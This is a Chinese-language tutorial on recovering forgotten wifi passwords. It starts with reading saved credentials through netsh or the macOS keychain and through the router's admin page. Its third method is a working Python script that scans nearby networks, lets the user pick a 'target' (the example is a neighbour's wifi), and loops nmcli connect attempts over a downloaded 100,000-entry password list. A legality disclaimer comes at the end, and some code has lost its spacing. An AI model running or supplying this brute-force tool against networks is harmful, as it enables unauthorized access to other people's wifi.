用Python腳本找回忘記的wifi密碼
可以用Python寫個(gè)簡單腳本,幫你把wifi密碼找回來!這招主要是針對你有路由器管理權(quán)限或者電腦存過密碼的情況,純?yōu)閷W(xué)習(xí)和自救用,別拿去干壞事哦!
第一種方法
檢查電腦保存的wifi密碼你的電腦如果連過wifi,通常會(huì)把密碼存在系統(tǒng)里,咱們先試試把它挖出來!
Windows系統(tǒng):
1. 打開“命令提示符”(按Win+R,輸入cmd回車)。
2. 輸入命令:netsh wlan show profile。這會(huì)列出你電腦連過的所有wifi名字。
3. 找到你想查的wifi名字,再輸入:netsh wlan show profile name="wifi名字"key=clear(把“wifi名字”換成實(shí)際的SSID)。
4. 看“關(guān)鍵內(nèi)容”那一行,密碼就藏在那兒!
Mac系統(tǒng):
1. 打開“終端”(Terminal)。
2. 輸入:security find-generic-password-ga"wifi名字" |grep"password:"(把“wifi名字”換成你的wifi名)。
3. 系統(tǒng)會(huì)顯示密碼,可能需要你輸入電腦的管理員密碼確認(rèn)。
Python腳本輔助:
1. 如果手動(dòng)查嫌麻煩,可以用Python腳本自動(dòng)抓取。裝個(gè)subprocess模塊(Python自帶),寫幾行代碼調(diào)用上面的命令,自動(dòng)提取wifi密碼。
2. 比如,腳本可以跑netsh命令,解析輸出,找出密碼,存到文件里,省得你手動(dòng)翻。
第二種方法
找到路由器管理地址:
1. 路由器背面通常有標(biāo)簽,寫著管理地址(像192.168.0.1或192.168.1.1)和默認(rèn)賬號(hào)密碼(比如admin/admin)。
2. 在瀏覽器輸入這個(gè)地址,登錄路由器后臺(tái)。
3. 進(jìn)入“無線設(shè)置”或“wifi設(shè)置”模塊,找到你的wifi名稱(SSID)。
4. 密碼通常在“無線安全”或“加密設(shè)置”里,直接顯示,或者點(diǎn)“顯示密碼”就能看到。
常見問題:
-- 如果忘了管理密碼,試試默認(rèn)密碼(路由器標(biāo)簽上寫的)。
--實(shí)在不行,長按路由器上的“Reset”鍵5-10秒,重置路由器(注意:這會(huì)清空所有設(shè)置,慎用?。缓笥媚J(rèn)賬號(hào)密碼登錄,重新設(shè)置wifi密碼。
第三種方法
用Python腳本暴力猜密碼(備用方案)如果上面方法都不行,比如你沒路由器權(quán)限,電腦也沒存密碼,可以試試“暴力猜密碼”,這招得有點(diǎn)耐心,而且只對弱密碼管用!咱們用Python來實(shí)現(xiàn),模擬高手操作。
裝工具包:
用Python的ssid庫(先跑pip install ssid裝好),掃描附近wifi,把名字(SSID)和加密類型存到networks列表。
第一步:掃描附近的wifi信號(hào)要找回wifi密碼,先得知道附近有哪些wifi信號(hào)。咱們寫個(gè)小函數(shù),名叫display_targets,來抓wifi列表。
def display_targets(networks, security_type):
print("Select a target: \n")
rows, columns = os.popen('stty size', 'r').read().split()
for i in range(len(networks)):
width = len(str(str(i+1)+". "+networks[i]+security_type[i]))+2
spacer = " "
if (int(columns) >= 100):
calc = int((int(columns)-int(width))*0.75)
else:
calc = int(columns)-int(width)
for index in range(calc):
spacer += "."
if index == (calc-1):
spacer += " "
print(str(i+1)+". "+networks[i]+spacer+security_type[i])
這段代碼會(huì)列出wifi名字,比如“隔壁老王wifi”,還帶上加密類型(WPA2啥的),看著就一目了然!
運(yùn)行后,你會(huì)看到一個(gè)列表,標(biāo)著序號(hào)和wifi名字,方便你挑想找密碼的那個(gè)wifi。
第二步:選定目標(biāo)wifi找到wifi列表后,挑一個(gè)想找回密碼的wifi。這步超簡單,就是Python基礎(chǔ)操作。
def prompt_for_target_choice(max):
whileTrue:
try:
selected = int(input("\nEnter number of target: "))
if(selected >= 1and selected <= max):
return selected - 1
except Exception as e:
ignore = e
print("Invalid choice: Please pick a number between 1 and " + str(max))
第三步:暴力猜密碼找回選好wifi后,咋找密碼?如果電腦沒存密碼,或者你沒路由器權(quán)限,可以試試“暴力猜密碼”。這招對弱密碼(像12345678)效果好,咱們用Python來實(shí)現(xiàn)!
--準(zhǔn)備密碼字典:從網(wǎng)上找個(gè)常用密碼列表,比如10萬個(gè)wifi常用密碼
def brute_force(selected_network, passwords, args):
for password in passwords:
# necessary due to NetworkManager restart after unsuccessful attempt at login
password = password.strip()
# when when obtain password from url we need the decode utf-8 however we doesnt when reading from file
if isinstance(password, str):
decoded_line = password
else:
decoded_line = password.decode("utf-8")
if args.verbose isTrue:
print(bcolors.HEADER+"** TESTING **: with password '" +
decoded_line+"'"+bcolors.ENDC)
if (len(decoded_line) >= 8):
time.sleep(3)
creds = os.popen("sudo nmcli dev wifi connect " +
selected_network+" password "+decoded_line).read()
# print(creds)
if ("Error:"in creds.strip()):
if args.verbose isTrue:
print(bcolors.FAIL+"** TESTING **: password '" +
decoded_line+"' failed."+bcolors.ENDC)
else:
sys.exit(bcolors.OKGREEN+"** KEY FOUND! **: password '" +
decoded_line+"' succeeded."+bcolors.ENDC)
else:
if args.verbose isTrue:
print(bcolors.OKCYAN+"** TESTING **: password '" +
decoded_line+"' too short, passing."+bcolors.ENDC)
print(bcolors.FAIL+"** RESULTS **: All passwords failed :("+bcolors.ENDC)
顏色提示:紫色表示“正在試”,紅色表示“密碼不對”,綠色表示“找到密碼啦”!
--把所有函數(shù)串聯(lián)起來
def main():
require_root()
args = argument_parser()
# The user chose to supplied their own url
if args.url isnotNone:
passwords = fetch_password_from_url(args.url)
# user elect to read passwords form a file
elif args.file isnotNone:
file = open(args.file, "r")
passwords = file.readlines()
ifnot passwords:
print("Password file cannot be empty!")
exit(0)
file.close()
else:
# fallback to the default list as the user didnt supplied a password list
default_url = "https://raw.githubusercontent.com/danielmiessler/SecLists/master/Passwords/Common-Credentials/10-million-password-list-top-100000.txt"
passwords = fetch_password_from_url(default_url)
# grabbing the list of the network ssids
func_call = start(1)
networks = func_call[0]
security_type = func_call[1]
ifnot networks:
print("No networks found!")
sys.exit(-1)
display_targets(networks, security_type)
max = len(networks)
pick = prompt_for_target_choice(max)
target = networks[pick]
print("\nWifi-bf is running. If you would like to see passwords being tested in realtime, enable the [--verbose] flag at start.")
brute_force(target, passwords, args)
注意事項(xiàng)
1. 合法性:這教程只用于找回你有權(quán)訪問的wifi密碼,比如自家或辦公室的,別用來破解別人的wifi,那是違法的!
2. 成功率:暴力猜密碼對復(fù)雜密碼(像16位隨機(jī)字符)基本沒戲,只適合簡單密碼(比如12345678)。
3. 備份設(shè)置:重置路由器前,記得備份重要數(shù)據(jù),因?yàn)橹刂脮?huì)清空所有配置。